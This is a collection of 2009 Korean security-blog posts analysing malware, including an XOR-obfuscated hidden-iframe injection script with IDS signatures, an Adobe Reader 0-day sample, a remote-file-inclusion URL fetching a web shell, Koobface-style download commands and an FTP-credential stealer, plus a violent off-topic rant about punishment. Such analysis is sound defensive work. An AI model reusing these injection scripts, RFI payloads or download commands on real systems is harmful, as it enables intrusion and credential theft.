0x02 analysis2009. 12. 28. 18:26

뭐 지금까지 다양한 삽입된 스크립트들을 많이 보았는데요
오늘은 지금까지와는 좀 다른 형태를 봐서 포스팅합니다.

이런 형태를 보셨던 분들도 계시겠지만 저는 오늘이 처음이네요..^^;

<script>
q="=hgs`ld!rsb<iuuq;..mhwd,bntouds/hogn.ru`ur.ho/qiq!vheui<0!idhfiu<0!ruxmd<&whrhchmhux;iheedo&?=.hgs`ld?";
w="";
for(i=0;i<q.length;i++)
{
 w=w+String.fromCharCode(q.charCodeAt(i)^1);
};
document.write(w);
</script>


요즘은 iframe 삽입을 탐지하거나 차단하는 경우가 많아서 그런지 이걸 우회할려는 의도로 보입니다.
디코딩해보면...

<iframe src=http://live-counter.info/stats/in.php width=1 height=1 style='visibility:hidden'></iframe>


디코딩이라기 보다는 이상한 문자열을 함수에 넣어서 돌린 결과라고 하는게 맞겠네요..
결국 iframe이 나오네요...

for문을 돌면서 한글자씩 읽어와서 문자를 치환하는 방식을 사용했는데요 붉은색으로 된 부분만 보시면

=hgs`ld!rsb<iuuq;..
<iframe src=http://


이런식으로 치환이 되어 있습니다.
결국 iframe으로 삽입을 한다면 붉은색으로 된 부분은 항상 같은 형태가 나올 수 있다는 것이지요.
<script src=http:// 를 사용한다면 물론 달라지겠구요..

그런데 <iframe src=" 를 쓸지 <iframe src= 를 쓸지에 따라서 치환된 문자 형태가 달라질 것으로 보입니다.
결국 <iframe src=과 <script src=을 치환시켜 IDS에 패턴을 넣어서 추이를 살펴봐야 할 것으로 생각됩니다.

이런 패턴이 많아지면 귀찮을 것 같은데요..
좀 지켜봐야 할 것 같습니다.

--------------------------------------------------------------------------------------------------

내침김에 IDS 패턴 만들어 봤습니다.
귀찮을거라 예상했는데 생각보다 단순했습니다.

w=w+String.fromCharCode(q.charCodeAt(i)^1); 에 입력되는 문자열을 <iframe src= 와 <script src= 를
입력했더니 치환된 문자열이 나왔습니다.


패턴명 : <iframe src=
탐지문자열 : =hgs`ld!rsb<

패턴명 : <script src=
탐지문자열 : =rbshqu!rsb<


제가 사용했던 스크립트 코드 첨부합니다. 굵은색으로 된 부분이 <iframe src= <script src=을 치환한 for문입니다.

<script>
q="=hgs`ld!rsb<iuuq;..";
p="<iframe src=";
r="<script src=";
w="";
x="";
y="";

for(i=0;i<q.length;i++)
{
        w=w+String.fromCharCode(q.charCodeAt(i)^1);
};

for(i=0;i<p.length;i++)
{
        x=x+String.fromCharCode(p.charCodeAt(i)^1);
};

for(i=0;i<r.length;i++)
{
        y=y+String.fromCharCode(r.charCodeAt(i)^1);
}

document.write("<textarea rows=5 cols=100>");
document.write(w);
document.write("</textarea>");
document.write("<textarea rows=5 cols=100>");
document.write(x);
document.write("</textarea>");
document.write("<textarea rows=5 cols=100>");
document.write(y);
document.write("</textarea>");
</script>


Posted by demantos
0x04 reference&tools2009. 12. 24. 13:55


http://code.google.com/p/mongoose/

PT나 시연때 간단하게 쓰기 좋은 웹서버입니다.




Overview


Mongoose is an easy to use web server. It can be embedded into existing application to provide a web interface to it.

Mongoose web server executable is self-sufficient, it does not depend on anything to start serving requests. If it is copied to any directory and executed, it starts to serve that directory on port 8080 (so to access files, go to http://localhost:8080). If some additional config is required - for example, different listening port or IP-based access control, then a mongoose.conf file with respective options (see example) can be created in the same directory where executable lives. This makes Mongoose perfect for all sorts of demos, quick tests, file sharing, and Web programming.

Features


  • Crossplatform - works on Windows, MacOS and most flavors of UNIX
  • CGI, SSL, SSI, Digest (MD5) authorization, resumed download, aliases
  • IP-based ACL, Windows service, GET, POST, HEAD, PUT, DELETE methods
  • Small footprint: 40 Kb executable on Linux 2.6 i386 system
  • Embeddable with simple and clean API. Source is in single .c file to make things easy
  • Language suport for:
    • C/C++ (native)
    • Python - since version 2.6 (done)
    • C# - since version 2.7 (done)
    • Ruby - since version 2.9 (todo)
    • Lua - since version 2.9 (todo)
Posted by demantos
0x02 analysis2009. 12. 23. 15:21


exploit : windows/browser/adobe_media_newplayer
payload : generic/shell_reverse_tcp


click below




bindshell, execute command 모두 잘 됩니다.
아직 테스트 안해본건 executable download and execute인데 이것도 잘 될것으로 예상됩니다.
봇넷이 늘어나는게 아닌가 걱정되네요...


Posted by demantos
0xFF small talk2009. 12. 22. 17:05


누구의 생각일까요? 무어씨??

아무튼 재미있습니다. ㅋㅋ










더 있을지도 모르겠는데요 제가 발견한건 이 정도입니다. ㅎㅎ





Posted by demantos
0x02 analysis2009. 12. 22. 13:01


Adobe 0-day 추가 악성코드 샘플을 구했습니다.
그리고 지난번 글에서 다운로드되지 않았던 ab.exe 파일도 확보를 했습니다.

E:\04.analysis\binary\20091216_adobe reader\malware> md5sum *.*
686738eb5bb8027c524303751117e8a9 *ab.exe
8950bbedf4a7f1d518e859f9800f9347 *crazyphoto.pdf
955bade419a9ba9e5650ccb3dda88844 *merry_christmas.pdf
61baabd6fc12e01ff73ceacc07c84f9a *note200911.pdf
61baabd6fc12e01ff73ceacc07c84f9a *note_20091210.pdf
35e8eeee2b94cbe87e3d3f843ec857f6 *outline of interview.pdf
0ab2fd3b6c385049f9eb4a559dbdc8a6 *海基會協商代表團預備性磋商名單.pdf

E:\04.analysis\binary\20091216_adobe reader\malware> ssdeep *.*
ssdeep,1.0--blocksize:hash:hash,filename
6144:53Gcbn2gnsuwtasAlbkdIiXb8K/hYcZVnHIbNwJBBp5:JbwtasAV+xffZ5X5,"E:\04.analysis\binary\20091216_adobe reader\malware\ab.exe"
768:bsg8fN3eX7k3GHsF90azVWqaYXCqntyhovHhv/MVsMepOF:bTYN3z3UscazpXM25EZepG,"E:\04.analysis\binary\20091216_adobe reader\malware\crazyphoto.pdf"
24576:hX+rECBhOc3cZUJe3xcxzV78/g4b3PlD4A8C0u2IcwrjefQM8rkAC:hOrHOcaye3x+V8Y4zH8C1XaoMIc,"E:\04.analysis\binary\20091216_adobe reader\malware\merry_christmas.pdf"
1536:p0AAH2KthGBjcdBj8VETeePxsT65ZZ3pdx/ves/aQR/875+:prahGV6Bj8VE9sT6BpfneilR/8k,"E:\04.analysis\binary\20091216_adobe reader\malware\note200911.pdf"
1536:p0AAH2KthGBjcdBj8VETeePxsT65ZZ3pdx/ves/aQR/875+:prahGV6Bj8VE9sT6BpfneilR/8k,"E:\04.analysis\binary\20091216_adobe reader\malware\note_20091210.pdf"
3072:prahGV6Bj8VE9sT6BpfneiL0jbupQ1S8ZTW5RxSDeF87OiE53a0WYtjdMJokl:pYBj8V7yaRSQTWX8Deu36SmxMJ3,"E:\04.analysis\binary\20091216_adobe reader\malware\outline of interview.pdf"
3072:k36u5/nLzdqJdVmK6pM8qffaRlOxpKs3i1AE:iLzdqJdMfphqfCRlOxpK2i1D,"E:\04.analysis\binary\20091216_adobe reader\malware\???????????????.pdf"


Virustal 검사 결과는 아래를 참조하시기 바랍니다.

note200911.pdf - 11월 30일
http://www.virustotal.com/ko/analisis/27cced58a0fcbb0bbe3894f74d3014611039fefdf3bd2b0ba7ad85b18194cffa-1261453238

note_20091210.pdf - 12월 11일
http://www.virustotal.com/ko/analisis/27cced58a0fcbb0bbe3894f74d3014611039fefdf3bd2b0ba7ad85b18194cffa-1261453573

ab.exe - note_20091210.pdf를 통해 다운로드하는 파일(foruminspace.com)
http://www.virustotal.com/ko/analisis/d6afb2a2e7f2afe6ca150c1fade0ea87d9b18a8e77edd7784986df55a93db985-1261453471

outline of interview.pdf - 12월 13일
http://www.virustotal.com/ko/analisis/cd508c488bb3b0234ff480cc455761f8003ea584c4ddcc6901f2f5eea66cd25a-1261453917

merry_christmas.pdf - 12월 18일
http://www.virustotal.com/ko/analisis/8ccc882c18d927b57a33f8c6bae4d0eec3290ac7ab1d1157725918feab76ec01-1261453597

crazyphoto.pdf - 12월 18일
http://www.virustotal.com/ko/analisis/55227b229a113d8a93d823466ebdd7a94c77fa37126b330818b41d49bd9a73de-1261453598

海基會協商代表團預備性磋商名單.pdf - 12월 21일
http://www.virustotal.com/ko/analisis/0c148cfceccea8f0988021d266cfb0668b577bf77a9271bc47cfa7c93305ccc5-1261453673




국산 엔진들은 12월 18일 이후에 발견된 악성코드에 대해서 탐지를 못하고 있었습니다. 단, 21일 발견된 파일을 nProtect만 Exploit.PDF-JS.Gen.C02으로 탐지하고 있었습니다.






Posted by demantos
0x02 analysis2009. 12. 16. 16:27


New Adobe Reader and Acrobat Vulnerability

어도비 리더와 아크로뱃에서 새로운 취약점이 나왔다고 합니다.
어도비 리버와 아크로뱃 9.2버전 이하에서 해당 취약점을 통해 공격이 가능하다고 합니다.

구글링 중 미국 블로거를 통해 샘플을 확보해서 분석해 봤습니다. (Thanks Mila)

이미 바이러스랩님 블로그(http://viruslab.tistory.com/1364) 와 안랩ASEC(http://blog.ahnlab.com/asec/211)에 글이 실린것으로 보아 두개의 백신업체에서는 패턴을 만들고 있을 것으로 보입니다.




위 두개의 포스팅에서 얻은 정보를 토대로 - 0x37761부터 PE 파일이라는 정보 - exe 파일을 만들어 보았습니다.




아이콘이 상당히 조악한 파일이었습니다. 파일 설명은 "OfficeUpdate MFT 응용 프로그램" 입니다.

파일을 실행하면 http://update.microsoft.com/windowsupdate/v6/default.aspx을 요청합니다. 정상적인 요청은 아닌것으로 보이며 단순 눈속임으로 보입니다. 이 파일이 실행되면서 임시 파일을 만드는데 패킷을 떠보면 그 임시파일의 내용이 Response와 동일합니다.

디버거로 확인한 내용




패킷 덤프 내용




임시파일 내용




update.microsoft.com에 접속은 하지만 정상 사이트에서 오는 response는 무시해버리고 임시 파일에 있는 내용으로 대체하는 것으로 보입니다.

그런 후 hxxp://foruminspace.com/documents/dprk/ab.exe 를 요청하지만 파일이 없습니다. -_-;;
일단 악성도메인이니 막아야할 것으로 보입니다.

pdf를 실행하나 exe를 실행하나 동일한 현상을 나타내고 pdf 파일을 실행하면 아래와 같은 에러 메시지를 보여줍니다.




아래 루틴은 추가 악성코드를 다운로드하는 URL을 만들어내는 루틴입니다.




특정 위치의 값을 가져와서 XOR 연산을 합니다. 그러면서 실제 URL이 한글자씩 나오고 있습니다.

악성 pdf는 샘플을 두개 구했는데 모두 동일한 것으로 보입니다.
파일 사이즈도 동일하고 해쉬값도 동일하고 추가 악성코드 다운로드 경로도 동일합니다.


추가 악성코드 다운로드가 안되기 때문에 큰 문제는 없을 것으로 보이지만 패치가 나오기 전까지 조심하는게 좋을 것 같습니다.



갑자기 생각이 든게 foruminspace.com 사이트에 지금은 파일이 없는데
감염된 사람들은 이 사이트에 접속해서 파일을 요청을 하긴 할 것이고
얼마나 많이 접속하는지 확인하고나서 쫌 된다...싶으면
실제 파일 올려서 2차 감염시키는 행동을 하지 않을까...

이런 생각이 듭니다.

좀 더 추이를 살펴봐야 할 듯...

패치는 2010년 1월 12일경에 나올꺼라고 합니다.

그 전까지는 조심해야겠지요..







Posted by demantos
0x04 reference&tools2009. 12. 10. 15:17
Posted by demantos
0x02 analysis2009. 12. 9. 17:49


IDS에서 실시간 트래픽보다가 6668 포트를 확인해보니 이상한 녀석이 있더군요...

검색해보니 RFI Scanner Bot이라는 녀석과 관계가 있는 듯 합니다.





첫번째 그림에 보시면 hxxp://perfectdate.com.au로 시작하는 링크가 있는데 블럭 지정해보면 아래와 같이 나옵니다.

hxxp://61.19.249.84:32000//accounts/inc/include.php?language=0&lang_settings[0][1]=http://perfectdate.com.au/temp/cache/userimages/shell.txt??

글씨를 흰색으로 해서 안보이게 했나봅니다. -_-;;

그런데 눈에 안보이는 URL이 계속 바뀌고 있었습니다. perfectdate.com.au에 있는 shell.txt는 웹쉘로 보이고

여러 사이트를 해킹해서 링크를 걸어 둔 것으로 보입니다.

중간중간에 "Yahoo 숫자 숫자"나 "Yahoo FiNizZ!"와 같은 문자열이 나오는데 이게 Yahoo도 있고 Lycos, Google, AllTheWeb, Hotbot과 같은 문자열도 있습니다.


자세한 내용은 아래 링크를...

http://nchovy.kr/forum/2/article/326




참고로 위에 나온 IRC는 국내 업체 서버라 통보해줬고 조만간 조치가 될 것으로 보입니다.





Posted by demantos
0xFF small talk2009. 12. 2. 23:28


http://www.ytn.co.kr/_ln/0103_200912021740255751


오늘 9시 뉴스에서도 봤습니다만...
솔직히 20년형이라...
200년은 되야 하지 않나....라는 생각이 듭니다...
뭐...저런 인간들은 사형을 해야한다는게 제 생각입니다만...

저런 인간들에게도 인권이라는걸 존중해줘야 하는걸까요?
솔직히 인간도 짐승도 아닌 박테라이만도 못한 인간이라 생각됩니다.

사형제도...부활시켰으면 합니다..
저런놈들에게 형 선고하게요...
잔인하게 들리실지 모르겠지만 능치처참을 시켰으면 하는게 개인적인 작은 바램입니다.

꼭 삐뚤어지고 나쁜짓 하는애들 보면

사회가 싫었다..
사회가 날 이렇게 만들었다..
라고 이야기하지요..

핑계일뿐이라 생각됩니다.

알콜 의존증? 정신질환?
술김에 실수한거다??

기가 막혀 더 이상 말을 하기도 싫습니다.

야야...
아도 술김에 널 몽둥이로 흠씬 두들겨 패서 가시나무로 니 발목을 묶은 후에 차에 매달아서
하루 종일 질질 끌고 다녀볼까?
그런 후에 술먹어서 그런거니 좀 봐달라 할까?
사지를 찢어 발겨 똥물에 튀겨도 시원찮을놈이...


Posted by demantos
0x02 analysis2009. 11. 27. 16:53


얼마전에 트래픽 위주 분석을 했었습니다.
이번에는 파일을 분석해봤습니다.
원래는 같이 해야하는데 리버싱은 전문 분야가 아니라서...-_-;;

먼저 HTTP Request 발생시 요청하는 파일들을 우선으로 분석해 보았습니다.

 STARTONCE|http://e-secretary.es/.sys/?getexe=v2prx.exe
 STARTONCE|http://e-secretary.es/.sys/?getexe=pp.12.exe
 WAIT|60
 STARTONCE|http://e-secretary.es/.sys/?getexe=get.exe
 STARTONCE|http://e-secretary.es/.sys/?getexe=fb.73.exe
 START|http://e-secretary.es/.sys/?getexe=v2captcha.exe
 START|http://e-secretary.es/.sys/?getexe=v2googlecheck.exe


STARTONCE나 START와 같은 C&C 명령은 트렌드마이크로 보고서를 참조하시기 바랍니다.


0x01 v2prx.exe

이 파일은 실행 후 ze-biz.com에 접속하려 하지만 정상적으로 접속이 되지 않습니다.
3-way handshaking이 정상적으로 이루어지지 않아 연결이 끊기고 c:\windows\system32\fio32.dll을 생성해서 fioo32라는 서비스를 생성합니다. 이 서비스는 svchost에 dll injection해서 생성되고 있었습니다.

이 서비스는 8085 포트를 오픈하고 XP 방화벽 정책에 해당 서비스를 오픈해주고 있었으며 driver 밑에 fio32.sys라는 드라이버도 생성했었습니다.
그외 별다른 행동은 하지 않았습니다.


0x02 pp.12.exe

pp.12.exe는 실행 후 자기 자신을 C:\WINDOWS에 pp12.exe로 복사하고 시작프로그램으로 등록시킵니다.
그리고 재부팅 후 Fake Anti-Virus 설치를 유도합니다. 다른 조건이 있을 수 있겠지만 일단 제가 파악한 상황은 재부팅 후 어느 정도 시간이 지난후(대략 10분정도?)에 설치를 유도하고 있었습니다. 뭐...재부팅 안해도 되긴하겠지만 시작프로그램으로 등록하고 있어서 혹시나 하는 마음에 재부팅해 본 것이었습니다.

그리고 pp12.exe와 동일한 폴더에 fdgg34353edfgdfdf 라는 파일을 생성하는데 파일 내용은 "2"라는 숫자가 전부였습니다.
무엇을 의미하는 것인지 정확히 파악이 되지는 않습니다.





이 파일도 koobface 웜들과 Request가 비슷한 형태를 띄고 있었는데 따로 언급하지는 않겠습니다.
한가지만 말씀드리자면 Fake Anti-Virus 설치를 유도하는 URL이 Request에 몇개가 지정되어 있습니다.

http://austriamoney.cn/?pid=312s01&sid=4db12f
--> http://royalsecure-a.com/scan1/?pid=312s1&engine=%3DnQ15jzxOTEzOS4xNC4zJnRpbWU9MTI1LjMyMA0MaA%3DN
http://thesecurityutility.net/index.php?affid=12400
http://egafuki.cn/22/?uid=13300


0x03 get.exe

get.exe는 감염된 PC에서 지정된 FTP 프로그램이 설치되어 있는지 확인한 후 각 프로그램들이 사용하는 FTP 연결 정보가 저장된 파일들을 찾아서 C&C 서버에 보내는 역할을 하고 있었습니다.




목록은 위에 보시는것과 같습니다.
테스트시 FileZilla와 CuteFTP를 설치해서 테스트했습니다.
프로그램 설치여부 확인은 레지스트리키값이 존재하는지와 해당 프로그램 설치 후 연결 정보를 가지고 있는 파일의 위치를 찾아서 파일이 있는지를 확인합니다.





CuteFTP에서 사용하는 sm.dat 파일과 FileZilla에서 사용하는 sitemanager.xml 파일을 읽고 있습니다.
sitemanager.xml 같은 경우 xml 포맷으로 작성되어 있어 다음과 같이 그 포맷에 해당하는 정보가 있는지 찾습니다.




라인단위로 읽어서 위와 같은 태그들이 있는지 확인하고 있으면 그 정보를 저장합니다.


 
이렇게 특정 위치에 저장된 데이터는 POST방식을 통해 C&C(xtsd20090815.com)으로 보내집니다.




 

수집된 정보를 전송한 후에 SelfDel.bat 파일을 만들어서 get.exe 파일과 자기 자신을 삭제합니다.

:try
del "D:\00_malware\aa\unpack_get.exe"
if exist "D:\00_malware\aa\unpack_get.exe" goto try
del "SelfDel.bat"

get.exe의 역할은 여기까지입니다.

결국 좀비PC에서 사용중인 FTP 프로그램의 정보(IP/Domain, ID, Pass)를 C&C 서버로 전송하는 역할입니다.

 

0x04 v2captcha.exe

captcha 화면을 보여주는 역할을 하는 파일입니다.
C:\Program Files\captcha.dll이 있는지 확인하고 있으면 지운 다음 다시 생성합니다. 그리고 같은 위치에 captcha.bat 파일을 생성해서 rundll32 파일을 이용해서 captcha.dll을 실행하고 원본파일(v2captcha.exe)와 captch.bat 파일을 삭제합니다.

captcha.dll을 생성할때 읽기 전용(READONLY), 숨김(HIDDEN), 시스템파일(SYSTEM)의 속성을 부여합니다.



captcha.bat 배치파일을 생성합니다. 이 파일은 rundll32를 이용해서 captcha.dll 프로세스를 생성하고 captcha.bat와 v2captcha.exe 파일을 삭제하는 역할을 합니다.





CreateProcessA 함수가 실행되면 captcha.bat가 실행되고 아래와 같은 HTTP Request가 발생하면서 Captcha 화면이 보여지면서 Captcha 화면에 나온 문자열을 입력하면 해제됩니다.





0x05 v2googlecheck.exe

이 파일은 트래픽 위주 분석의 마지막부분에 있었던 내용의 트래픽을 유발시키는 파일이었습니다.
처음엔 그냥 무작정 트래픽만 보고 해서 애매했던게 파일을 분석해보니 정확하게 나오더군요..

이 파일은 크게 세가지 부분을 가지고 있었습니다.

1. http://capthcabreak.com/check/in.php?v=7
2. http://www.facebook.com/l.php?u=<악성URL>
3. http://capthcabreak.com/check/out.php?v=7

첫번째와 세번째는 capthcabreak.com에 들어가고(in.php) 나가는(out.php) 것을 확인하기 위함으로 보입니다.
문제는 두번째 보이는 URL이데요...하나씩 보도록 하겠습니다.

먼저 in.php를 요청하면서 들어갑니다.(지금은 들어간다는 표현밖에 생각이 나질 않습니다...ㅜ.ㅜ 저질 어휘력이 문제...)




위 그림에서 CALL unpack_v.00401000이 HTTP 패킷을 만들어서 서버에 Request를 날리는 함수입니다.
일단 첫번째 Request를 보내고 나면 C:\Documents and Settings\demantos\Local Settings\Temp에 tmp 파일을 생성합니다. 이 tmp 파일은 GetTickCount 함수의 리턴값으로 파일명을 만듭니다.




파일명을 먼저 만들고 동일한 파일이 있으면 삭제한 후 다시 만듭니다.
만들어지는 파일에는 악성URL이 들어 있는데 이 URL들이 계속 랜덤하게 바뀌는데 이 URL은 위에서 /check/in.php?v=7 요청에 대한 응답에 있습니다. 즉, capthcabreak.com 서버에서 랜덤하게 전송해주고 있었습니다.




이렇게 받은 응답을 tmp 파일에 기록합니다.
위와 아래 URL 다른것은 초반에 제가 캡쳐를 안해서 다시 실행하면서 바뀐 것입니다. -_-;;
이걸로만 봐도 계속 랜덤하게 변경되는 것을 알 수 있습니다. ^^;


 

만들어진 파일 내부에는 위에서 보셨던 악성URL이 들어 있습니다.




tmp 파일에 있는 악성URL을 자세히 보시면 http://bit.ly/7NYacB 가 나오고 0x0A가 나온 후 1007763과 0x0A가 한번 더 나옵니다.
바로 다음에 나오지만 첫번재 0x0A 이후로는 실제 악성URL에서 제외됩니다. 결국 http://bit.ly/7NYacB만 악성URL이 되고 0x0A 뒤에 나오는 숫자는 일종의 checksum 역할을 합니다.






참고
bit.ly는 URL을 줄여서 만들어주는 역할을 하는 사이트입니다. (http://bit.ly)

http://malwarelab.tistory.com == http://bit.ly/8ocgTO

일전에 K***에서 bit.ly 도메인을 막으려다가 다시 해제했던 일이 있었습니다.
악성도메인이라고 할 수는 없지만 악의적으로 사용되고 있는게 사실입니다.
언제가 될지 모르겠지만 개인적인 생각으로는 언젠간 차단될 상황이 발생하지 않을까 생각됩니다.


이렇게 실제 사용할 악성URL을 만든 후 함수 하나가 나옵니다.




이 함수는 http://bit.ly/7NYacB 에서 특수문자를 hex 형태로 변형시켜주는 역할을 합니다. 실제 함수는 아래 내용입니다.
isalnum 함수는 영문자나 숫자인지 확인하는 함수입니다.

URL에서 특수문자로 된 부분들을 찾아낸 후 특수문자를 hex 형태로 변형시켜줍니다.
: --> %3A로 / --> %2F와 같은 형태로 변형시킵니다.
0x004015DB에 있는 특수문자들은 변형시키지 않고 그대로 사용하기 위함입니다. 예를 들어 hacker.com이라는 문자열을 아래 함수에 넣으면 아무것도 변경되는게 없는 것이죠.




이렇게 특수문자를 hex 형태로 변형시키는 이유는 바로 다음에 나옵니다.
HTTP 패킷을 만들어 보내는데 악성URL이 파라미터의 인자값으로 들어갑니다.

http://www.facebook.com/l.php?=http%3A%2F%2Fbit.ly%2F7NYacB




처음에도 잠깐 나왔던 함수인데 0x00401000에 위치한 함수는 HTTP 패킷을 만들어 보내는 역할을 합니다.




함수 내부에 보면 페이로드 데이터가 필요한 HTTP 패킷이면 POST 방식을 사용하고 그렇지 않은 패킷이면 GET 방식을 사용하게끔 되어 있습니다. 즉, EBP+14와 EDI를 비교해서 같으면 점프를 시키고(GET), 같지 않으면 점프하지 않습니다(POST).




생성된 tmp 파일은 특정 위치에 저장한 후 삭제하는데 ReadFile 함수에 의해 EDI에 tmp 파일의 내용이 있는 위치를 로드시킵니다.




실제로 지금까지의 과정이 한번 더 수행하면서 바로 위에 보이는 초록색 테두리처럼 HTML 내용을 만듭니다.
0x00401765 주소에서 호출하는 0x00401558 함수는 악성URL과 HTML 내용을 비교해서 동일한 부분이 있는지 찾습니다.




위 함수의 내부 코드입니다. 실제로 비교하는 부분이죠.
아래쪽에 보시면 http://bit.ly/7NYacB가 HTML 내용에 있는지 확인하고 있습니다.




0x00401558 함수를 두번 실행하는데(아래 그림에서 첫번째는 짤렸습니다 -_-) 처음 실행한 결과를 EBP-C에 저장하고 있었습니다. 즉 악성URL과 동일한 내용이 있냐 없냐를 검사하는 함수인데 없을 경우 0 있을 경우 HTML 내용이 있는 주소값을 반환합니다.

이것은 facebook에 의해 악성URL의 차단 여부를 확인하는 것이고

EBP-C에
  - 0인 경우 /check/blocked.php?v=7&url=<악성URL>
  - 0이 아닌 경우 /check/dump.php?v=7&url=<악성URL>

과 같이 HTTP Request를 생성합니다.




앞에서 tmp에 있던 내용중 실제 악성URL 뒤에 오던 잘라졌던 숫자 기억나시죠?
checksum 역할을 한다고 했던...
그놈을 가져와서 /check/out.php?v=7의 페이로드로 붙여서 요청을 합니다.




결국 in.php를 요청할 때 악성URL과 checksum값을 받아와서 이 악성URL이 차단되었는지 차단되지 않았는지 확인한 후 dump.php나 blocked.php를 요청하고 out.php를 요청하면서 in.php에서 받아왔던 checksum값을 전송하면서 한 사이클이 끝납니다.

그리고 잠깐 쉽니다. 잠깐 쉬고(5분) 나서 EAX와 0x64(100.)을 비교해서 EAX값이 0x64보다 작으면 /check/in.php?v=7을 요청하는 루틴으로 다시 점프합니다. 즉, 위와 같은 행위를 총 100번을 수행한다는 것이죠..




100번을 모두 돌고 나면 c:\fbcheck.bat 파일을 생성합니다.




fbcheck.bat 파일 내용은 다음과 같습니다.

 :Repeat
 del "D:\00_malware\aa\unpack_v2googlecheck.exe"
 if exist "D:\00_malware\aa\unpack_v2googlecheck.exe" goto Repeat
 del "c:\fbcheck.bat"

할일 다 했으니 exe 파일을 삭제하고 bat 파일 자신도 삭제하는 배치파일입니다.

 

이상으로 최초 접속시 다운로드 후 실행하는 파일들이 어떤 행동을 하는지 살펴봤습니다.

기타 SNS 공격용 파일들은 - fb.xx.exe, tw.xx.exe, ms.xx.exe 등등 - 별도로 분석을 할 예정입니다.



짬짬이 하다보니 상당히 길어진 느낌이 듭니다. ㅜ.ㅜ




Posted by demantos